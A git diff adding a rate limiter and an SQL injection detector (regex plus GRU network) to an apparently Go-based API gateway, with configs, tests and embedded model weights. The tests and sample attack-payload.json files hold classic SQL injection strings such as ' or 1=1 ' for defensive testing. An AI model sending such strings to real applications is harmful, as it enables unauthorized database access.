allowing further calls. + +```json +{ + "status": "Rate Limit Exceeded - The service you have requested is over the allowed limit." +} +``` + +You can run above `curl` command with different token to make sure that rate limit is applied per token basis. It is assumed that in real scenario only intended user possess the token. + +### #2 Missing token + +Run the following command: +```bash +curl http://localhost:9096/pets/1 +``` + +You should see the following like response: +```json +{ + "status": "Token not found" +} +``` + +### #3 Global rate limiter +You can set global rate limit to a service (i.e. applies accross users) by using some hard coded token value. To do that modify rate limiter `step` in the gateway descriptor `rate-limiter-gateway.json` as follows: +```json +{ + "service": "RateLimiter", + "input": { + "token": "MY_GLOBAL_TOKEN" + } +} +``` + +Re run the gateway: +``` +bin/MyProxy +``` + +Run the following command more than 3 times: +``` +curl http://localhost:9096/pets/1 +``` + +From 4th time onwards you should observe that gateway is not allowing further calls. diff --git a/activity/ratelimiter/examples/json/flogo.json b/activity/ratelimiter/examples/json/flogo.json new file mode 100644 index 0000000..f8baee5 --- /dev/null +++ b/activity/ratelimiter/examples/json/flogo.json @@ -0,0 +1,112 @@ +{ + "name": "MyProxy", + "type": "flogo:app", + "version": "1.0.0", + "description": "Rate Limiter Gateway", + "properties": null, + "channels": null, + "triggers": [ + { + "name": "flogo-rest", + "id": "MyProxy", + "ref": "github.com/project-flogo/contrib/trigger/rest", + "settings": { + "port": "9096" + }, + "handlers": [ + { + "settings": { + "method": "GET", + "path": "/pets/:petId" + }, + "actions": [ + { + "id": "microgateway:Pets" + } + ] + } + ] + } + ], + "resources": [ + { + "id": "microgateway:Pets", + "compressed": false, + "data": { + "name": "Pets", + "steps": [ + { + "service": "RateLimiter", + "input": { + "token": "=$.payload.headers.Token" + } + }, + { + "service": "PetStorePets", + "input": { + "pathParams": "=$.payload.pathParams" + } + } + ], + "responses": [ + { + "if": "$.RateLimiter.outputs.error == true", + "error": true, + "output": { + "code": 403, + "data": { + "status": "=$.RateLimiter.outputs.errorMessage" + } + } + }, + { + "if": "$.RateLimiter.outputs.limitReached == true", + "error": true, + "output": { + "code": 403, + "data": { + "status": "Rate Limit Exceeded - The service you have requested is over the allowed limit." + } + } + }, + { + "error": false, + "output": { + "code": 200, + "data": "=$.PetStorePets.outputs.result" + } + } + ], + "services": [ + { + "name": "RateLimiter", + "description": "Rate limiter", + "ref": "github.com/project-flogo/microgateway/activity/ratelimiter", + "settings": { + "limit": "3-M" + } + }, + { + "name": "PetStorePets", + "description": "Get pets by ID from the petstore", + "ref": "github.com/project-flogo/contrib/activity/rest", + "settings": { + "uri": "http://petstore.swagger.io/v2/pet/:petId", + "method": "GET" + } + } + ] + } + } + ], + "actions": [ + { + "ref": "github.com/project-flogo/microgateway", + "settings": { + "uri": "microgateway:Pets" + }, + "id": "microgateway:Pets", + "metadata": null + } + ] +} diff --git a/activity/ratelimiter/metadata.go b/activity/ratelimiter/metadata.go new file mode 100644 index 0000000..f9ed46d --- /dev/null +++ b/activity/ratelimiter/metadata.go @@ -0,0 +1,68 @@ +package ratelimiter + +import ( + "github.com/project-flogo/core/data/coerce" +) + +type Settings struct { + Limit string `md:"limit,required"` +} + +type Input struct { + Token string `md:"token,required"` +} + +func (r *Input) FromMap(values map[string]interface{}) error { + token, err := coerce.ToString(values["token"]) + if err != nil { + return err + } + r.Token = token + return nil +} + +func (r *Input) ToMap() map[string]interface{} { + return map[string]interface{}{ + "token": r.Token, + } +} + +type Output struct { + LimitReached bool `md:"limitReached"` + LimitAvailable int64 `md:"limitAvailable"` + Error bool `md:"error"` + ErrorMessage string `md:"errorMessage"` +} + +func (o *Output) FromMap(values map[string]interface{}) error { + limitReached, err := coerce.ToBool(values["limitReached"]) + if err != nil { + return err + } + o.LimitReached = limitReached + limitAvailable, err := coerce.ToInt64(values["limitAvailable"]) + if err != nil { + return err + } + o.LimitAvailable = limitAvailable + hasError, err := coerce.ToBool(values["error"]) + if err != nil { + return err + } + o.Error = hasError + errorMessage, err := coerce.ToString(values["errorMessage"]) + if err != nil { + return err + } + o.ErrorMessage = errorMessage + return nil +} + +func (o *Output) ToMap() map[string]interface{} { + return map[string]interface{}{ + "limitReached": o.LimitReached, + "limitAvailable": o.LimitAvailable, + "error": o.Error, + "errorMessage": o.ErrorMessage, + } +} diff --git a/activity/sqld/README.md b/activity/sqld/README.md new file mode 100644 index 0000000..7fa0911 --- /dev/null +++ b/activity/sqld/README.md @@ -0,0 +1,59 @@ +# SQL Detector + +The `sqld` service type implements SQL injection attack detection. Regular expressions and a [GRU](https://en.wikipedia.org/wiki/Gated_recurrent_unit) recurrent neural network are used to detect SQL injection attacks. + +The available service `settings` are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| file | string | An optional file name for custom neural network weights | + +The available `input` for the request are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| payload | JSON object | A payload to do SQL injection attack detection on | + +The available response `outputs` are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| attack | number | The probability that the payload is a SQL injection attack | +| attackValues | JSON object | The SQL injection attack probability for each string in the payload | + +A sample `service` definition is: + +```json +{ + "name": "SQLSecurity", + "description": "Look for sql injection attacks", + "ref": "github.com/project-flogo/microgateway/activity/sqld" +} +``` + +An example `step` that invokes the above `SQLSecurity` service using `payload` is: + +```json +{ + "service": "SQLSecurity", + "input": { + "payload": "=$.payload" + } +} +``` + +Utilizing the response values can be seen in a response handler: + +```json +{ + "if": "$.SQLSecurity.outputs.attack > 80", + "error": true, + "output": { + "code": 403, + "data": { + "error": "hack attack!", + "attackValues": "=$.SQLSecurity.outputs.attackValues" + } + } +} +``` diff --git a/activity/sqld/activity.go b/activity/sqld/activity.go new file mode 100644 index 0000000..abe4f16 --- /dev/null +++ b/activity/sqld/activity.go @@ -0,0 +1,201 @@ +package sqld + +import ( + "os" + + "github.com/project-flogo/core/activity" + "github.com/project-flogo/core/data/metadata" + "github.com/project-flogo/microgateway/activity/sqld/injectsec" + "github.com/project-flogo/microgateway/activity/sqld/injectsec/gru" +) + +var ( + maker *injectsec.DetectorMaker + activityMetadata = activity.ToMetadata(&Settings{}, &Input{}, &Output{}) +) + +func init() { + var err error + maker, err = injectsec.NewDetectorMaker() + if err != nil { + panic(err) + } + + activity.Register(&Activity{}, New) +} + +// Activity is a SQL injection attack detector +type Activity struct { + Maker *injectsec.DetectorMaker +} + +func New(ctx activity.InitContext) (activity.Activity, error) { + settings := Settings{} + err := metadata.MapToStruct(ctx.Settings(), &settings, true) + if err != nil { + return nil, err + } + + logger := ctx.Logger() + logger.Debugf("Setting: %b", settings) + + act := Activity{} + + if settings.File != "" { + var in *os.File + in, err = os.Open(settings.File) + if err != nil { + return nil, err + } + defer in.Close() + act.Maker, err = injectsec.NewDetectorMakerWithWeights(in) + if err != nil { + return nil, err + } + } + + return &act, nil +} + +// Metadata return the metadata for the activity +func (a *Activity) Metadata() *activity.Metadata { + return activityMetadata +} + +// Eval executes the activity +func (a *Activity) Eval(ctx activity.Context) (done bool, err error) { + input := Input{} + err = ctx.GetInputObject(&input) + if err != nil { + return false, err + } + + var detector *gru.Detector + if a.Maker != nil { + detector = a.Maker.Make() + } else { + detector = maker.Make() + } + + output := Output{ + AttackValues: make(map[string]interface{}), + } + + var testMap func(a, values map[string]interface{}) (err error) + testMap = func(a, values map[string]interface{}) (err error) { + for k, v := range a { + switch element := v.(type) { + case []interface{}: + valuesList := make([]interface{}, 0, len(element)) + for _, item := range element { + switch element := item.(type) { + case map[string]interface{}: + childValues := make(map[string]interface{}) + err = testMap(element, childValues) + if err != nil { + return + } + valuesList = append(valuesList, childValues) + case string: + probability, err := detector.Detect(element) + valuesList = append(valuesList, float64(probability)) + if probability > output.Attack { + output.Attack = probability + } + if err != nil { + return err + } + } + } + values[k] = valuesList + case map[string]interface{}: + childValues := make(map[string]interface{}) + err = testMap(element, childValues) + if err != nil { + return + } + values[k] = childValues + case string: + probability, err := detector.Detect(element) + values[k] = float64(probability) + if probability > output.Attack { + output.Attack = probability + } + if err != nil { + return err + } + } + } + + return nil + } + + test := func(key string) (err error) { + if a, ok := input.Payload[key]; ok { + switch b := a.(type) { + case []interface{}: + valuesList := make([]interface{}, 0, len(b)) + for _, item := range b { + switch element := item.(type) { + case map[string]interface{}: + childValues := make(map[string]interface{}) + err = testMap(element, childValues) + if err != nil { + return + } + valuesList = append(valuesList, childValues) + case string: + probability, err := detector.Detect(element) + valuesList = append(valuesList, float64(probability)) + if probability > output.Attack { + output.Attack = probability + } + if err != nil { + return err + } + } + } + output.AttackValues[key] = valuesList + case map[string]interface{}: + values := make(map[string]interface{}) + err = testMap(b, values) + output.AttackValues[key] = values + case map[string]string: + values := make(map[string]interface{}) + for _, v := range b { + probability, err := detector.Detect(v) + values[v] = float64(probability) + if probability > output.Attack { + output.Attack = probability + } + if err != nil { + return err + } + } + output.AttackValues[key] = values + } + } + + return + } + + err = test("pathParams") + if err != nil { + return false, err + } + err = test("queryParams") + if err != nil { + return false, err + } + err = test("content") + if err != nil { + return false, err + } + + err = ctx.SetOutputObject(&output) + if err != nil { + return false, err + } + + return true, nil +} diff --git a/activity/sqld/activity_test.go b/activity/sqld/activity_test.go new file mode 100644 index 0000000..50749a9 --- /dev/null +++ b/activity/sqld/activity_test.go @@ -0,0 +1,151 @@ +package sqld + +import ( + "fmt" + "testing" + + "github.com/project-flogo/core/activity" + "github.com/project-flogo/core/data" + "github.com/project-flogo/core/data/mapper" + "github.com/project-flogo/core/data/metadata" + logger "github.com/project-flogo/core/support/log" + "github.com/stretchr/testify/assert" +) + +type initContext struct { + settings map[string]interface{} +} + +func newInitContext(values map[string]interface{}) *initContext { + if values == nil { + values = make(map[string]interface{}) + } + return &initContext{ + settings: values, + } +} + +func (i *initContext) Settings() map[string]interface{} { + return i.settings +} + +func (i *initContext) MapperFactory() mapper.Factory { + return nil +} + +func (i *initContext) Logger() logger.Logger { + return logger.RootLogger() +} + +type activityContext struct { + input map[string]interface{} + output map[string]interface{} +} + +func newActivityContext(values map[string]interface{}) *activityContext { + if values == nil { + values = make(map[string]interface{}) + } + return &activityContext{ + input: values, + output: make(map[string]interface{}), + } +} + +func (a *activityContext) ActivityHost() activity.Host { + return a +} + +func (a *activityContext) Name() string { + return "test" +} + +func (a *activityContext) GetInput(name string) interface{} { + return a.input[name] +} + +func (a *activityContext) SetOutput(name string, value interface{}) error { + a.output[name] = value + return nil +} + +func (a *activityContext) GetInputObject(input data.StructValue) error { + return input.FromMap(a.input) +} + +func (a *activityContext) SetOutputObject(output data.StructValue) error { + a.output = output.ToMap() + return nil +} + +func (a *activityContext) GetSharedTempData() map[string]interface{} { + return nil +} + +func (a *activityContext) ID() string { + return "test" +} + +func (a *activityContext) IOMetadata() *metadata.IOMetadata { + return nil +} + +func (a *activityContext) Reply(replyData map[string]interface{}, err error) { + +} + +func (a *activityContext) Return(returnData map[string]interface{}, err error) { + +} + +func (a *activityContext) Scope() data.Scope { + return nil +} + +func (a *activityContext) Logger() logger.Logger { + return logger.RootLogger() +} + +func TestSQLD(t *testing.T) { + activity, err := New(newInitContext(nil)) + assert.Nil(t, err) + + test := func(a string, attack bool) { + var payload interface{} = map[string]interface{}{ + "content": map[string]interface{}{ + "test": a, + }, + } + ctx := newActivityContext(map[string]interface{}{"payload": payload}) + _, err = activity.Eval(ctx) + assert.Nil(t, err) + + value, attackValues := ctx.output["attack"].(float32), ctx.output["attackValues"].(map[string]interface{}) + if attack { + assert.Condition(t, func() (success bool) { + return value > 50 + }, fmt.Sprint("should be an attack", a, value)) + assert.Condition(t, func() (success bool) { + return attackValues["content"].(map[string]interface{})["test"].(float64) > 50 + }, fmt.Sprint("should be an attack", a, value)) + } else { + assert.Condition(t, func() (success bool) { + return value < 50 + }, fmt.Sprint("should not be an attack", a, value)) + assert.Condition(t, func() (success bool) { + return attackValues["content"].(map[string]interface{})["test"].(float64) < 50 + }, fmt.Sprint("should not be an attack", a, value)) + } + } + test("test or 1337=1337 --\"", true) + test(" or 1=1 ", true) + test("/**/or/**/1337=1337", true) + test("abc123", false) + test("abc123 123abc", false) + test("123", false) + test("abcorabc", false) + test("available", false) + test("orcat1", false) + test("cat1or", false) + test("cat1orcat1", false) +} diff --git a/activity/sqld/examples/api/README.md b/activity/sqld/examples/api/README.md new file mode 100644 index 0000000..24ba75d --- /dev/null +++ b/activity/sqld/examples/api/README.md @@ -0,0 +1,75 @@ +# Gateway with SQL injection attack defense +This recipe is a gateway with SQL injection attack defense. + +## Installation +* Install [Go](https://golang.org/) + +## Setup +``` +git clone https://github.com/project-flogo/microgateway +cd microgateway/activity/sqld/examples/api +``` + +## Testing +Start the gateway: +``` +go run main.go +``` +and test below scenarios. + +### Payload without SQL injection attack +Run the following command: +``` +curl http://localhost:9096/pets --upload-file payload.json +``` + +You should see the following response: +```json +{ + "category": { + "id": 0, + "name": "string" + }, + "id": 1, + "name": "cat", + "photoUrls": [ + "string" + ], + "status": "available", + "tags": [ + { + "id": 0, + "name": "string" + } + ] +} +``` + +### Payload with SQL injection attack +``` +curl http://localhost:9096/pets --upload-file attack-payload.json +``` + +You should see the following response: +```json +{ + "attackValues": { + "content": { + "category": { + "name": 0 + }, + "name": 99.97982025146484, + "photoUrls": [ + 0 + ], + "status": 0, + "tags": [ + { + "name": 0 + } + ] + } + }, + "error": "hack attack!" +} +``` diff --git a/activity/sqld/examples/api/attack-payload.json b/activity/sqld/examples/api/attack-payload.json new file mode 100644 index 0000000..9d45580 --- /dev/null +++ b/activity/sqld/examples/api/attack-payload.json @@ -0,0 +1,18 @@ +{ + "id": 1, + "category": { + "id": 0, + "name": "string" + }, + "name": " or 1=1 ", + "photoUrls": [ + "string" + ], + "tags": [ + { + "id": 0, + "name": "string" + } + ], + "status": "available" +} diff --git a/activity/sqld/examples/api/main.go b/activity/sqld/examples/api/main.go new file mode 100644 index 0000000..b0ac472 --- /dev/null +++ b/activity/sqld/examples/api/main.go @@ -0,0 +1,67 @@ +package main + +import ( + "github.com/project-flogo/contrib/activity/rest" + trigger "github.com/project-flogo/contrib/trigger/rest" + "github.com/project-flogo/core/api" + "github.com/project-flogo/core/engine" + "github.com/project-flogo/microgateway" + "github.com/project-flogo/microgateway/activity/sqld" + microapi "github.com/project-flogo/microgateway/api" +) + +func main() { + app := api.NewApp() + + gateway := microapi.New("Update") + serviceSQLD := gateway.NewService("SQLSecurity", &sqld.Activity{}) + serviceSQLD.SetDescription("Look for sql injection attacks") + + serviceUpdate := gateway.NewService("PetStorePetsUpdate", &rest.Activity{}) + serviceUpdate.SetDescription("Update pets") + serviceUpdate.AddSetting("uri", "http://petstore.swagger.io/v2/pet") + serviceUpdate.AddSetting("method", "PUT") + + step := gateway.NewStep(serviceSQLD) + step.AddInput("payload", "=$.payload") + step = gateway.NewStep(serviceUpdate) + step.SetIf("$.SQLSecurity.outputs.attack < 80") + step.AddInput("content", "=$.payload.content") + + response := gateway.NewResponse(false) + response.SetIf("$.SQLSecurity.outputs.attack < 80") + response.SetCode(200) + response.SetData("=$.PetStorePetsUpdate.outputs.result") + response = gateway.NewResponse(true) + response.SetIf("$.SQLSecurity.outputs.attack > 80") + response.SetCode(403) + response.SetData(map[string]interface{}{ + "error": "hack attack!", + "attackValues": "=$.SQLSecurity.outputs.attackValues", + }) + + settings, err := gateway.AddResource(app) + if err != nil { + panic(err) + } + + trg := app.NewTrigger(&trigger.Trigger{}, &trigger.Settings{Port: 9096}) + handler, err := trg.NewHandler(&trigger.HandlerSettings{ + Method: "PUT", + Path: "/pets", + }) + if err != nil { + panic(err) + } + + _, err = handler.NewAction(µgateway.Action{}, settings) + if err != nil { + panic(err) + } + + e, err := api.NewEngine(app) + if err != nil { + panic(err) + } + engine.RunEngine(e) +} diff --git a/activity/sqld/examples/api/payload.json b/activity/sqld/examples/api/payload.json new file mode 100644 index 0000000..502b2fe --- /dev/null +++ b/activity/sqld/examples/api/payload.json @@ -0,0 +1,18 @@ +{ + "id": 1, + "category": { + "id": 0, + "name": "string" + }, + "name": "cat", + "photoUrls": [ + "string" + ], + "tags": [ + { + "id": 0, + "name": "string" + } + ], + "status": "available" +} diff --git a/activity/sqld/examples/json/README.md b/activity/sqld/examples/json/README.md new file mode 100644 index 0000000..67a2edb --- /dev/null +++ b/activity/sqld/examples/json/README.md @@ -0,0 +1,83 @@ +# Gateway with SQL injection attack defense +This recipe is a gateway with SQL injection attack defense. + +## Installation +* Install [Go](https://golang.org/) +* Install the flogo [cli](https://github.com/project-flogo/cli) + +## Setup +``` +git clone https://github.com/project-flogo/microgateway +cd microgateway/activity/sqld/examples/api +``` + +## Testing +Create the gateway: +``` +flogo create -f flogo.json +cd MyProxy +flogo build +``` + +Start the gateway: +``` +bin/MyProxy +``` +and test below scenarios. + +### Payload without SQL injection attack +Run the following command: +``` +curl http://localhost:9096/pets --upload-file payload.json +``` + +You should see the following response: +```json +{ + "category": { + "id": 0, + "name": "string" + }, + "id": 1, + "name": "cat", + "photoUrls": [ + "string" + ], + "status": "available", + "tags": [ + { + "id": 0, + "name": "string" + } + ] +} +``` + +### Payload with SQL injection attack +``` +curl http://localhost:9096/pets --upload-file attack-payload.json +``` + +You should see the following response: +```json +{ + "attackValues": { + "content": { + "category": { + "name": 0 + }, + "name": 99.97982025146484, + "photoUrls": [ + 0 + ], + "status": 0, + "tags": [ + { + "name": 0 + } + ] + } + }, + "error": "hack attack!" +} +``` diff --git a/activity/sqld/examples/json/attack-payload.json b/activity/sqld/examples/json/attack-payload.json new file mode 100644 index 0000000..9d45580 --- /dev/null +++ b/activity/sqld/examples/json/attack-payload.json @@ -0,0 +1,18 @@ +{ + "id": 1, + "category": { + "id": 0, + "name": "string" + }, + "name": " or 1=1 ", + "photoUrls": [ + "string" + ], + "tags": [ + { + "id": 0, + "name": "string" + } + ], + "status": "available" +} diff --git a/activity/sqld/examples/json/flogo.json b/activity/sqld/examples/json/flogo.json new file mode 100644 index 0000000..690a325 --- /dev/null +++ b/activity/sqld/examples/json/flogo.json @@ -0,0 +1,102 @@ +{ + "name": "MyProxy", + "type": "flogo:app", + "version": "1.0.0", + "description": "This is a simple proxy with sql injection attack protection.", + "properties": null, + "channels": null, + "triggers": [ + { + "name": "flogo-rest", + "id": "MyProxy", + "ref": "github.com/project-flogo/contrib/trigger/rest", + "settings": { + "port": "9096" + }, + "handlers": [ + { + "settings": { + "method": "PUT", + "path": "/pets" + }, + "actions": [ + { + "id": "microgateway:Update" + } + ] + } + ] + } + ], + "resources": [ + { + "id": "microgateway:Update", + "compressed": false, + "data": { + "name": "Update", + "steps": [ + { + "service": "SQLSecurity", + "input": { + "payload": "=$.payload" + } + }, + { + "if": "$.SQLSecurity.outputs.attack < 80", + "service": "PetStorePetsUpdate", + "input": { + "body": "=$.payload.content" + } + } + ], + "responses": [ + { + "if": "$.SQLSecurity.outputs.attack < 80", + "error": false, + "output": { + "code": 200, + "data": "=$.PetStorePetsUpdate.outputs.result" + } + }, + { + "if": "$.SQLSecurity.outputs.attack > 80", + "error": true, + "output": { + "code": 403, + "data": { + "error": "hack attack!", + "attackValues": "=$.SQLSecurity.outputs.attackValues" + } + } + } + ], + "services": [ + { + "name": "SQLSecurity", + "description": "Look for sql injection attacks", + "ref": "github.com/project-flogo/microgateway/activity/sqld" + }, + { + "name": "PetStorePetsUpdate", + "description": "Update pets", + "ref": "github.com/project-flogo/contrib/activity/rest", + "settings": { + "uri": "http://petstore.swagger.io/v2/pet", + "method": "PUT" + } + } + ] + } + } + ], + "actions": [ + { + "ref": "github.com/project-flogo/microgateway", + "settings": { + "uri": "microgateway:Update" + }, + "id": "microgateway:Update", + "metadata": null + } + ] +} diff --git a/activity/sqld/examples/json/payload.json b/activity/sqld/examples/json/payload.json new file mode 100644 index 0000000..502b2fe --- /dev/null +++ b/activity/sqld/examples/json/payload.json @@ -0,0 +1,18 @@ +{ + "id": 1, + "category": { + "id": 0, + "name": "string" + }, + "name": "cat", + "photoUrls": [ + "string" + ], + "tags": [ + { + "id": 0, + "name": "string" + } + ], + "status": "available" +} diff --git a/activity/sqld/injectsec/LICENSE b/activity/sqld/injectsec/LICENSE new file mode 100644 index 0000000..6415b3b --- /dev/null +++ b/activity/sqld/injectsec/LICENSE @@ -0,0 +1,22 @@ +Copyright (c) 2018, InjectSec Authors +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation and/or + other materials provided with the distribution. + * Neither the name of the InjectSec Authors nor the names of its contributors may be used to + endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, +EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/activity/sqld/injectsec/LINKS.md b/activity/sqld/injectsec/LINKS.md new file mode 100644 index 0000000..5ee328c --- /dev/null +++ b/activity/sqld/injectsec/LINKS.md @@ -0,0 +1,4 @@ +https://github.com/danielmiessler/SecLists + +# SQL Injection Cheat Sheet +https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ diff --git a/activity/sqld/injectsec/README.md b/activity/sqld/injectsec/README.md new file mode 100644 index 0000000..315af0d --- /dev/null +++ b/activity/sqld/injectsec/README.md @@ -0,0 +1,23 @@ +[![godoc](https://godoc.org/github.com/pointlander/injectsec?status.svg)](https://godoc.org/github.com/pointlander/injectsec) + +# injectsec_train options +``` +Usage of injectsec_train: + -chunks + generate chunks + -data string + use data for training + -epochs int + the number of epochs for training (default 1) + -help + print help + -print + print training data +``` + +# usage of injectsec_train to train a model +``` +injectsec_train -data training_data_example.csv --epochs 10 +``` + +Will train using the builtin data set and training_data_example.csv for 10 epochs. The output weights will be placed in a directory named 'output'. diff --git a/activity/sqld/injectsec/ab0x.go b/activity/sqld/injectsec/ab0x.go new file mode 100644 index 0000000..3eb6b43 --- /dev/null +++ b/activity/sqld/injectsec/ab0x.go @@ -0,0 +1,169 @@ +// Code generated by fileb0x at "2018-06-29 14:55:20.890317832 -0600 MDT m=+0.005154675" from config file "fileb0x.json" DO NOT EDIT. +// modification hash(c570eb5aeaa8a5a47fd96df1df03dc86.f52cf1338fdc94e72029f0d974c850c2) + +package injectsec + +import ( + "bytes" + "compress/gzip" + "context" + "io" + "net/http" + "os" + "path" + + "golang.org/x/net/webdav" +) + +var ( + // CTX is a context for webdav vfs + CTX = context.Background() + + // FS is a virtual memory file system + FS = webdav.NewMemFS() + + // Handler is used to server files through a http handler + Handler *webdav.Handler + + // HTTP is the http file system + HTTP http.FileSystem = new(HTTPFS) +) + +// HTTPFS implements http.FileSystem +type HTTPFS struct{} + +// FileWeightsW is "weights.w" +var FileWeightsW = []byte("\x1f\x8b\x08\x00\x00\x00\x00\x00\x02\xff\x3c\x9b\x77\x74\x15\xd5\xf7\xf6\x43\x28\xd2\x45\xaa\x52\x74\x50\x10\xa5\x2a\x0a\x8a\xc8\x39\x47\x10\x11\x29\x52\xa4\x88\x7c\x61\x28\x8a\x80\x4a\x07\x01\x91\xa1\x4a\x55\x7a\x91\x36\xf4\x0e\x81\x84\x00\x09\x9c\x33\x10\x12\x12\x12\x48\xef\x6d\xd2\x43\x12\xd2\xa9\xcf\x01\xde\xb5\xfd\xad\xf5\xfe\x73\x57\xd6\x5d\x77\xcf\x3d\x65\xef\xe7\x79\x3e\xac\x4b\xdd\x97\xcb\x3c\xab\x78\xbe\x5c\xee\x51\xa5\xa6\x87\xc7\x0b\xcf\xfe\x2f\x97\x7b\x4c\x86\xdb\x6a\x4b\x38\x87\x33\x66\xe9\x3d\x0e\x7b\xe0\xad\x4b\x4a\xbf\xbb\x39\x94\xeb\x17\x13\x92\x39\xdc\x76\x5f\xa4\x28\x88\x25\x1d\x9f\x28\x98\x05\x0b\x92\x95\xae\xb3\x2e\x42\xc1\x98\xf2\xe2\x36\x87\xf5\xf6\x26\x2a\xec\x48\x85\xee\xd6\x5b\x97\x14\xec\x47\xff\x84\x72\x58\xbb\x27\x26\x73\xdd\x43\xa4\x28\x58\x9b\xff\xab\x1c\xfa\x7b\xb2\xd2\x1b\xd7\x46\x28\xb8\x13\x9f\xdf\xe6\x70\xe7\x96\x06\x2b\x98\xb5\xd7\xa4\x70\x88\xf8\xc4\x20\x05\xf1\xc5\x5f\xa9\x0a\xce\xbc\x2b\x71\x0a\xce\xaa\xbf\xb3\x14\xac\x16\xdf\x44\x72\x88\x79\x76\x20\x87\xb5\xde\xef\xaa\x82\xf5\x55\xef\x53\x0a\xd6\x98\xf2\x60\x05\xa7\x7c\xf5\xff\xaf\xb5\xde\xfc\xaf\xf6\x53\xaa\x35\x47\x52\xad\x3b\x85\x6a\x9d\x18\xaa\x15\x7b\xaf\x51\x6d\x9d\xaf\x4f\x29\x88\xbc\x2d\xf4\xf9\xdc\xcb\x01\x0a\xee\x98\x76\x61\x1c\xe6\x9a\xb0\x0c\x05\xc7\xf7\xe0\x55\x05\xf1\x74\x62\x1c\x87\xf5\xbf\xfe\x69\x0a\xe2\xe0\xab\x71\x1c\x0e\xba\x1d\xe5\x70\xcc\xe3\xa5\x4a\x4f\xd8\x4a\xcb\xbc\x70\x35\x40\xc1\x69\xd9\x26\x8c\xc3\x2a\x0b\xcd\x50\x70\x7b\xee\xbf\xaa\xf4\xb0\x49\x54\x39\xaa\x7f\x9a\xd2\x1b\x1a\xc4\x71\x88\x8b\x9f\x1d\xe5\x7a\xe8\xf1\x52\x05\x31\xf1\x71\x34\x87\x55\x2f\xec\x82\x82\xe5\xf7\x22\x41\xe9\x80\x96\xe9\x0a\xc6\xf0\xe3\xae\x82\xfd\xa0\x47\xa6\x82\xb9\x7c\x7c\x9e\xd2\x95\xad\x52\x15\xdc\x3e\x6b\x72\x14\x8c\xc4\x02\x7f\x05\x77\xd7\x93\x68\xae\x43\xee\x5d\x50\xfa\xdc\xcb\x04\x05\x33\xb2\x45\xba\xd2\x2b\xa9\xce\xc8\xeb\x91\xa9\x74\xb3\xf1\x79\x0a\xee\xa2\x37\x53\x15\xec\xe9\x6b\xa9\xee\x4a\x91\xbf\x82\xb1\xdd\x27\x43\xc1\xfe\xbd\xf4\xa6\x82\x15\xda\xa3\x4c\xe9\xed\x6b\x8a\x15\x9c\x7a\x99\x79\x4a\x77\xe8\xfa\x98\xc3\xea\xfb\xde\x7e\x0e\x23\xab\x45\x32\x87\x71\x35\xa4\x58\xc1\xcd\x6c\x98\xa1\x60\x36\xb9\x44\x5b\xaa\x5d\x76\x53\xe9\xd3\x3d\xca\x14\x8c\x0e\x54\x29\x5e\x66\xe4\x29\x38\x8f\x3e\x7c\xcc\x61\x1e\xee\xb8\x9f\xc3\xea\xd6\x2a\x99\x6b\x97\x2a\x4d\xde\x28\x43\xbd\xdc\xf5\x72\xb9\xc7\x1b\xb0\xa6\x7e\xe6\xcf\x61\xa7\x0d\x2b\x54\x70\xdb\xcf\x7d\xc8\x61\x76\x3c\x71\x46\x41\x5c\xd9\x9a\xa1\x60\xd4\x49\xc9\x56\xba\xcb\x8a\x2b\x1c\xee\xac\x13\x4d\x1c\x38\xa3\x17\x87\x72\x08\x9e\xeb\xa3\x60\x57\x3b\x1f\xc5\x61\xbc\xb6\xf7\x0a\x87\xb9\xf9\xf1\x7d\x05\xb7\xd7\xaf\xcf\x38\x6c\x8f\xad\xf1\x0a\xc6\x0e\x51\xc7\x81\x59\xe5\x69\x88\x82\xb5\xbb\x7a\x3e\x87\x53\xff\xe7\x27\x1c\xe6\xa1\x27\xe5\x5c\x0f\x56\x9e\x0e\x4c\x11\x99\xa8\xe0\xf6\x7d\xe3\xa9\x82\x71\xcf\x8d\x50\x30\xbd\x7c\xaa\x08\xe3\xe5\x72\x8f\xea\x7a\x51\x69\x2c\x87\x73\x2e\xb1\x96\xd0\xfd\x9b\xbf\x22\xe0\xac\x7b\xa7\x8c\x43\xd8\xc7\x1a\x89\x17\x9e\x43\xfe\x6f\x0c\x3a\xb7\xf7\x55\x30\xbf\xb9\xe2\xaf\x60\xbb\x57\x92\x38\x8c\x92\x85\x71\x5c\xbf\x5e\xff\x06\x87\xb3\x7b\xee\x59\x0e\x67\x4a\xf4\x5d\x6a\xab\x06\x59\xfc\x79\x69\xbe\x82\x75\xa1\x63\x19\x87\xfb\xd6\xbb\xbe\x0a\xf6\x18\x5f\x7f\x9a\x91\xab\x54\xb8\x7f\x51\x1c\xd7\x71\x75\x6e\x70\x58\xc5\xbf\x53\x61\xb3\x98\xbb\x1c\x56\x44\x83\x2c\x0e\xdb\xb7\x24\x5f\xe9\x6d\x54\x69\x15\x67\xf8\x29\x88\x76\xc3\x66\x71\x18\xe7\x8a\x03\x38\xdc\xdf\xf7\xfb\x2b\x38\x59\xe6\x75\x0e\x63\xc8\x5b\x11\x1c\xc6\x27\x5d\xc2\x15\xcc\x97\xb1\xb7\x38\xac\x6f